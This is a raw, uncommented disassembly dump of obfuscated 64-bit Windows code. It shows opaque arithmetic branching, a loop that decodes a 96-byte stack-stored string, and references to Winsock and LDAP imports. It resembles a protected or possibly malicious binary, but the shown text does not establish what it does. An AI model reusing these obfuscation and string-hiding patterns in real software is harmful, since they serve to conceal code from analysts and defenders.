sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013b221
movabs rcx, 0x14403302c74ced70
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x14013b273
movabs rdx, 0x7a524c47bd604aae
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov byte [rbp + r9 + 0x380], bl
jmp 0x14013b282
movabs rdx, 0x6ff323301fce6ffa
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 0x42
jb 0x14013abaa
movabs rcx, 0x10f52fb4640e91dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 8]
jmp 0x14013b13c
movabs rdx, 0x6593fa18823c9546
add rdx, r9
mov al, dl
and al, r8b
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 0x1000
jae 0x14013affb
lea rax, [r10 + 0x5a]
cmp rdi, rax
jbe 0x14013af85
movabs rdx, 0xa93d94c83c5c06d4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013abd8
movabs rdx, 0x5b34d100e4aaba92
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 1
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [rdi + r10]
mov ecx, 1
cmp rax, rcx
je 0x14013b029
lea rax, [r10 + 5]
cmp rdi, rax
jbe 0x14013aef1
movabs rcx, 0xbc56655045e08e72
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1e
jmp 0x14013ac24
movabs rcx, 0x8d6b1ccfc6e4d24c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x14
jmp 0x14013b273
movabs rcx, 0x830bf3b82952f798
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x14013b221
movabs rcx, 0x78accaa08bc11ce4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3c
jmp 0x14013b1ef
movabs rcx, 0x6e4da188ee2f4230
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x14013b1bf
movabs rcx, 0x63ee7871509d677c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x14013b1bc
movabs rdx, 0x598f4f59b30b8cc8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x14013b022
movabs rdx, 0x4f3026421579b214
mov ecx, Ordinal_60
jmp 0x14013ae78
movabs rdx, 0x44d0fd2a77e7d760
mov ecx, Ordinal_50
jmp 0x14013aea7
movabs rdx, 0x3a71d412da55fcac
mov ecx, Ordinal_41
jmp 0x14013b12a
lea rcx, [r10 + 6]
cmp rdi, rcx
jae 0x14013adf1
lea rcx, [r9 + rsi]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x76
jmp 0x14013ac85
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013ae1c
movabs rcx, 0xd9ce5eefecf6f0c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x14013b273
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013ae47
movabs rcx, 0x34b034e633e5b94
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x14013b1bc
cmp rdi, rcx
jne 0x14013ae60
movabs rdx, 0xdaa2c6600d03648
mov ecx, 4
jmp 0x14013b181
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14013ae8f
movabs rdx, 0x1809557d9e6210fc
mov ecx, reloc.WS2_32.dll_ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013b103
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14013aebe
movabs rdx, 0x22687e953bf3ebb0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013b162
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013ac85
movabs rdx, 0x2cc7a7acd985c664
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14013b13c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013af1c
movabs rcx, 0xc6b58e67e3726926
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
jmp 0x14013b13c
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013af39
movabs rdx, 0xd114b77f810443da
mov ecx, 5
jmp 0x14013aea7
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013af56
movabs rdx, 0xdb73e0971e961e8e
mov ecx, reloc.WS2_32.dll_ntohs
jmp 0x14013ae78
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14013ac24
movabs rcx, 0x19aed724d0013ec6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6a
jmp 0x14013b273
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013afa2
movabs rdx, 0xb39cbddfd9ede188
mov ecx, 0x24
jmp 0x14013b066
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013afcc
movabs rdx, 0xc85b100f151196f0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14013b04d
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14013abd8
movabs rcx, 0xdd19623e50354c58
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x14013b1bc
movabs rdx, 0x1b5458cc01a06c90
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x380]
add bl, r8b
add bl, dl
jmp 0x14013b193
movabs rdx, 0x25b381e39f324744
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x380]
add bl, dl
add bl, r8b
jmp 0x14013b1ef
movabs rdx, 0x4a3fa14c809c28b6
mov ecx, 3
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14013b273
movabs rdx, 0x35814f1d4578734e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x22
add bl, dl
jmp 0x14013b1ef
movabs rcx, 0x2b222605a7e6989a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x36
jmp 0x14013b1bf
movabs rcx, 0x20c2fcee0a54bde6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4a
jmp 0x14013b1bc
movabs rcx, 0xc04aabecf31087e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x72
mov eax, 1
jmp 0x14013b16a
movabs rdx, 0xf746588f940d5316
mov ecx, 0x33
jmp 0x14013b12a
movabs rdx, 0xe288066058e99dae
mov ecx, Ordinal_32
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rcx, 0x9624c44032d77f36
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x7a
add r8b, cl
mov byte [rbp + r9 + 0x380], r8b
mov eax, 1
add r10, rax
sub r9, rax
jmp 0x14013b287
movabs rdx, 0xc36a8b1980340d92
mov ecx, 1
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0xa083ed57d06959ea
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x66
add r8b, bl
add r8b, cl
mov byte [rbp + r9 + 0x380], r8b
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14013b282
mov r8, rdx
movabs rcx, 0xa44d0fd2a77e7d76
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x3a
movabs rdx, 0xaae3166f6dfb349e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x52
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x380], al
inc r10
add rax, r10
sub r9, rax
movabs rdx, 0x3012aafb3cc421f8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x380], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14013b273
movabs rcx, 0x8f8ebda36c5ac80e
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x62
movzx eax, byte [rbp + r9 + 0x380]
add rax, r10
add r9, rax
mov eax, 1
add r9, rax
jmp 0x14013a75d
movabs rcx, 0x31b82ca26e634fc2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x14013a758
lea rcx, [r9 + r14]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x62
jmp 0x14013a748
lea rcx, [rbp + 0x17f7bf8]
jmp 0x14013b2e4
lea rcx, [rbp + 0x1486952]
jmp 0x14013b2e4
lea rcx, [rbp + 0x380]
xor edx, edx
call fcn.1401a2714
test al, al
je 0x140140444
mov byte [rbp + 0xc70], 0x9b
mov byte [rbp + 0xc71], 0x59
mov r15d, 0x80
mov byte [rbp + 0xc72], r15b
mov byte [rbp + 0xc73], 0x5b
mov byte [rbp + 0xc74], 0xa0
mov byte [rbp + 0xc75], 0x45
mov byte [rbp + 0xc76], 0xbb
mov byte [rbp + 0xc77], 0x47
mov byte [rbp + 0xc78], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xc79], 0x41
mov byte [rbp + 0xc7a], 0xaf
mov byte [rbp + 0xc7b], 0x43
mov byte [rbp + 0xc7c], 0xde
mov byte [rbp + 0xc7d], Ordinal_79
mov byte [rbp + 0xc7e], 0xdd
mov byte [rbp + 0xc7f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xc80], 0xac
mov byte [rbp + 0xc81], Ordinal_79
mov byte [rbp + 0xc82], 0x86
mov byte [rbp + 0xc83], Ordinal_79
mov byte [rbp + 0xc84], 0x99
mov byte [rbp + 0xc85], 0x75
mov byte [rbp + 0xc86], 0x98
mov byte [rbp + 0xc87], 0x77
mov byte [rbp + 0xc88], __WSAFDIsSet
mov byte [rbp + 0xc89], WSACleanup
mov byte [rbp + 0xc8a], 0xef
mov byte [rbp + 0xc8b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xc8c], 0xe8
mov byte [rbp + 0xc8d], 0x7d
mov byte [rbp + 0xc8e], 0xe2
mov byte [rbp + 0xc8f], 0x7f
mov byte [rbp + 0xc90], 0x9c
mov byte [rbp + 0xc91], 0x79
mov byte [rbp + 0xc92], 0xbb
mov byte [rbp + 0xc93], 0x7b
mov byte [rbp + 0xc94], 0xf4
mov byte [rbp + 0xc95], 0x65
mov byte [rbp + 0xc96], 0xf6
mov byte [rbp + 0xc97], 0x67
mov byte [rbp + 0xc98], 0xac
mov byte [rbp + 0xc99], 0x61
mov byte [rbp + 0xc9a], 0x83
mov byte [rbp + 0xc9b], 0x63
mov byte [rbp + 0xc9c], 0xf0
mov byte [rbp + 0xc9d], WSASetLastError
mov byte [rbp + 0xc9e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xc9f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xca0], Ordinal_143
mov byte [rbp + 0xca1], WSAGetLastError
mov byte [rbp + 0xca2], 0xa7
mov byte [rbp + 0xca3], WSASetLastError
mov byte [rbp + 0xca4], 0x88
mov byte [rbp + 0xca5], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xca6], 0xfe
mov byte [rbp + 0xca7], reloc.WS2_32.dll_socket
mov byte [rbp + 0xca8], 0xfd
mov byte [rbp + 0xca9], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xcaa], r15b
mov byte [rbp + 0xcab], reloc.WS2_32.dll_send
mov byte [rbp + 0xcac], 0xfd
mov byte [rbp + 0xcad], Ordinal_32
mov byte [rbp + 0xcae], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xcaf], Ordinal_32
mov byte [rbp + 0xcb0], 0xfa
mov byte [rbp + 0xcb1], Ordinal_27
mov byte [rbp + 0xcb2], 0xf3
mov byte [rbp + 0xcb3], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xcb4], __WSAFDIsSet
mov byte [rbp + 0xcb5], 5
mov byte [rbp + 0xcb6], 6
mov byte [rbp + 0xcb7], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcb8], xmm0
mov qword [rbp + 0xcc8], rax
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r12d, Ordinal_41
xor eax, eax
mov r11d, eax
lea r13d, [rax + 1]
cmp r11, 0x60
jae 0x14013bf37
movzx r9d, byte [rbp + r11 + 0xc70]
mov edx, r9d
cmp rdi, r11
ja 0x14013bf2e
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14013b573
movabs rsi, 0xe2ff43c1b0c1bb8c
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x2c
jmp 0x14013b5ad
je 0x14013beaf
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14013be60
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14013be03
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14013bdde
mov r8b, bl
movabs rsi, 0xe2ff43c1b0c1bb8c
cmp r10, r11
ja 0x14013bf25
lea rax, [r10 + 0x400]
cmp rdi, rax
jae 0x14013b5e0
movabs rbx, 0x9ef08ee37fe4627c
add rbx, r11
mov al, bl
and al, r9b
add al, al
sub bl, al
sub bl, 0x64
add bl, r9b
jmp 0x14013b617
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14013bd98
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14013bd75
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14013bd53
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14013bd31
mov bl, r8b
mov r8d, Ordinal_32
lea rax, [r10 + rdi]
cmp rax, r11
jbe 0x14013ba06
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x14013b9e4
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14013b9d0
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14013b9ae
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x14013b98c
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x14013b96a
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14013b944
lea rdi, [r10 + 4]
lea r10, [rdi + 0x2a]
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14013bf03
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14013bee1
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x14013b742
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14013b87e
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x14013b850
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14013b62a
lea rdi, [r10 + 2]
lea r10, [rdi + 0x41]
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14013b83c
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14013b816
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14013b7f4
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14013b7ce
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14013b7a8
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14013b785
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x14013b764
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x28]
jmp 0x14013b62a
movabs rcx, 0x4099ca2af930d504
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r8b
jmp 0x14013b61d
movabs rdx, 0xf784771bff2313e0
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x20
jmp 0x14013bb2d
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x78
jmp 0x14013bdd9
movabs rdx, 0x6b8768153c1c25b0
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013bdfb
movabs rdx, 0x198bd18b1791c068
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013be51
movabs rcx, 0x538d4a07b60e4950
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x30
jmp 0x14013bcf8
movabs rdx, 0x8d8ec284548ad238
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013be7c
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14013ba42
movabs rdx, 0x5893e8387f3eb164
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
mov byte [rbp + r11 + 0xc70], bl
jmp 0x14013bed9
movabs rdx, 0x69851ae5ab44c1c
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
lea rax, [r10 + rdi]
cmp rax, 2
je 0x14013bcd1
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x14013bb08
movabs rdx, 0x16d325271e29b05c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp rdi, r15
jae 0x14013bca6
lea rax, [r10 + 0x28]
cmp rdi, rax
jbe 0x14013bbbd
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r11
mov al, r9b
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
cmp r10, 0x42
jb 0x14013b871
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14013bdb5
movabs rdx, 0xf3a4d1d19dd6d7d0
add rdx, r11
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013be7c
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x14013bcf8
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x60
jmp 0x14013be51
movabs rcx, 0x15ac2c40b6458458
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x14013bdfb
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14013bd84
movabs rcx, 0x89af1d39f33e9628
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x14013bdb5
lea rax, [r10 + 0x61]
cmp rdi, rax
jae 0x14013ba2c
lea rdx, [r11 + rsi]
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013b89f
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013ba59
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, r8d
add rdx, r11
mov al, r9b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013beca
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013ba83
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x18
jmp 0x14013bcf6
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013baae
movabs rcx, 0x55db3bd485d6a158
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x14013be4e
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14013bad9
movabs rcx, 0x1bd9c357e75a1870
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x14013be24
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14013b89f
movabs rcx, 0x6dd559e20be47db8
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x14013bdb5
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013bb34
movabs rdx, 0xdcd1acaa7fad2774
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x2c
add bl, dl
jmp 0x14013bdb5
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013bb63
movabs rdx, 0xa2d0342de1309e8c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x14013bdd9
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013bb8e
movabs rcx, 0xbaca523b673e7aec
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x74
jmp 0x14013be51
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14013b8db
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r8b
jmp 0x14013bcf8
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14013bbda
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x14013ba42
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14013bc04
movabs rdx, 0x41c0c31161150108
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x38
jmp 0x14013b835
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14013bc2f
movabs rcx, 0x93bc599b859f6650
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x30
jmp 0x14013be4e
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14013bc4c
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14013be12
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14013bc77
movabs rcx, 0x1fb968a248a65480
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, r15b
jmp 0x14013bdfb
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14013b912
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x28
jmp 0x14013bdd9
movabs rdx, 0x37b386afceb430e0
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, byte [rbp + r11 + 0xc70]
sub bl, al
sub bl, 0x20
add bl, r9b
add bl, dl
jmp 0x14013be24
movabs rdx, 0xfdb20e333037a7f8
add rdx, r11
mov al, r9b
and al, dl
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0xc70]
add bl, r9b
add bl, dl
movabs rdx, 0xe0b151f4e0f96384
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0xc70], al
add r10, r13
add rax, r10
sub r11, rax
jmp 0x14013be7c
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x14013be51
movabs rcx, 0xb6eaacf105f23edc
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x14013be24
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14013bdd9
movabs rcx, 0x64ef1666e167d994
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r9b
mov byte [rbp + r11 + 0xc70], cl
add r10, r13
jmp 0x14013bdfb
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6c
sub r11, r13
jmp 0x14013bed9
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
movabs rcx, 0x1ab2ca717f75ec6c
add rcx, r11
mov al, cl
and al, r9b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r9b
mov byte [rbp + r11 + 0xc70], dl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x14013bed9
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r11
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r12b
movabs rcx, 0xc3b095b691bb1f10
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x70
add cl, r9b
mov byte [rbp + r11 + 0xc70], cl
add rdi, r13
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x14013beca
movabs rcx, 0xa8fdcb45124532a4
add rcx, r11
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x7c
movzx eax, byte [rbp + r11 + 0xc70]
add rax, r10
add r11, rax
add r11, r13
jmp 0x14013b527
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r12b
jmp 0x14013b51e
movabs rcx, 0x289fac1d7322f8a4
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
jmp 0x14013b508
lea rdx, [rbp + 0x16a0e80]
jmp 0x14013bf3e
lea rdx, [rbp + 0x6bca0c]
jmp 0x14013bf3e
lea rdx, [rbp + 0xc70]
lea rcx, [rbp + 0x3a0]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1860]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14013bf73
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r13d
mov r14d, 0x40
mov r9d, r14d
lea esi, [r14 - 0x3e]
